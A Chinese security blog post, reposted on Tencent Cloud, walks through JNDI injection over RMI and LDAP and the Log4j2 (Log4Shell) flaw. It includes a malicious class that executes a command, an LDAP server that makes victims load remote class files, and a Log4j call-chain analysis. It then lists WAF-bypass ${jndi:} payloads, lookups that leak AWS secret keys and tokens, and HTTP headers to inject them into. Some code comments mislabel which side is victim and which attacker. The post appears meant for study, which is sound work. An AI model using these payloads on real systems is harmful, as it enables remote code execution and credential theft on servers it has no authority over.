前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从jndi到log4j2

从jndi到log4j2

作者头像
红队蓝军
发布2022-05-17 18:12:20
2470
发布2022-05-17 18:12:20
举报
文章被收录于专栏:红队蓝军

JNDI基础

JNDI的有关类:InitialContext类:

代码语言:javascript
复制
InitialContext()
构建一个初始上下文。  
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();

常用方法:

代码语言:javascript
复制
bind(Name name, Object obj)
    将名称绑定到对象。
list(String name)
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
    检索命名对象。
rebind(String name, Object obj)
    将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
    取消绑定命名对象。

Reference类:

代码语言:javascript
复制
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。

Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。

Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。

Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

代码语言:javascript
复制
String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

代码语言:javascript
复制
void add(int posn, RefAddr addr)
    将地址添加到索引posn的地址列表中。  
void add(RefAddr addr)
    将地址添加到地址列表的末尾。  
void clear()
    从此引用中删除所有地址。  
RefAddr get(int posn)
    检索索引posn上的地址。  
RefAddr get(String addrType)
    检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll()
    检索本参考文献中地址的列举。  
String getClassName()
    检索引用引用的对象的类名。  
String getFactoryClassLocation()
    检索此引用引用的对象的工厂位置。  
String getFactoryClassName()
    检索此引用引用对象的工厂的类名。    
Object remove(int posn)
    从地址列表中删除索引posn上的地址。  
int size()
    检索此引用中的地址数。  
String toString()
    生成此引用的字符串表示形式。  

JNDI+RMI

客户端(被攻击者):

代码语言:javascript
复制
package com.naihe;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIS {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

服务端(攻击者):

代码语言:javascript
复制
package com.naihe;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIC {
    public static void main(String[] args) {
        try {
            ////高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.rmi.object.trustURLCodebase
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            String uri = "rmi://127.0.0.1:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类:

代码语言:javascript
复制
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
        return null;
    }
}

流程分析:

通过rmi获取一个Reference对象

进入第一个loadClass方法

在这里本地加载是加载不到的因此会返回null,进入第二个loadClass方法

这里可以看到已经使用url类加载器远程加载class文件,并生成一个类加载器

进入newInstance方法

返回的对象是一个URLclassLoader类

使用cl这个URLClassLoader生成一个被远程调用的类的class对象

利用反射无产构造创建对象

这里也会调用反射生成的对象的getObjectInstance方法

JNDI+LDAP攻击手法

服务端:

代码语言:javascript
复制
package com.naihe3;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1/#Calc"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端:

代码语言:javascript
复制
package com.naihe3;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        //高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.ldap.object.trustURLCodebase
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        String url = "ldap://127.0.0.1:7777/Calc";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

恶意类:

代码语言:javascript
复制
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;


public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
        return null;
    }
}

过程基本上和rmi一样

Log4j

漏洞成因: log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap

服务端:

代码语言:javascript
复制
package com.naihe4;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class j2 {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //同上
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        logger.error("随便输入xxxxxxxxxx231请31212312312:${jndi:rmi://127.0.0.1:1099/hello}");
    }
}

直接跟进到MessagePatternConverter#format方法

匹配${,进入替换

这里获取协议前缀并判断是否在许可的协议内

调用JndiManager#lookup方法

调用InitialContext#lookup方法

后面又回到了前面的分析

调用链

代码语言:javascript
复制
在org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:217)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
在org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
在org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
在org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
在org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
在org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
在org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
在org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
在org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
在org.apache.logging.log4j.core.Logger.log(Logger.java:161)
在org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
在org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
在org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
在org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
在com.naihe4.j2.main(j2.java:9)

绕过payload:

代码语言:javascript
复制
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

可执行的命令获取信息:

代码语言:javascript
复制
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

log4j会记录的请求头

代码语言:javascript
复制
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • JNDI基础
  • JNDI+RMI
  • JNDI+LDAP攻击手法
  • Log4j
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档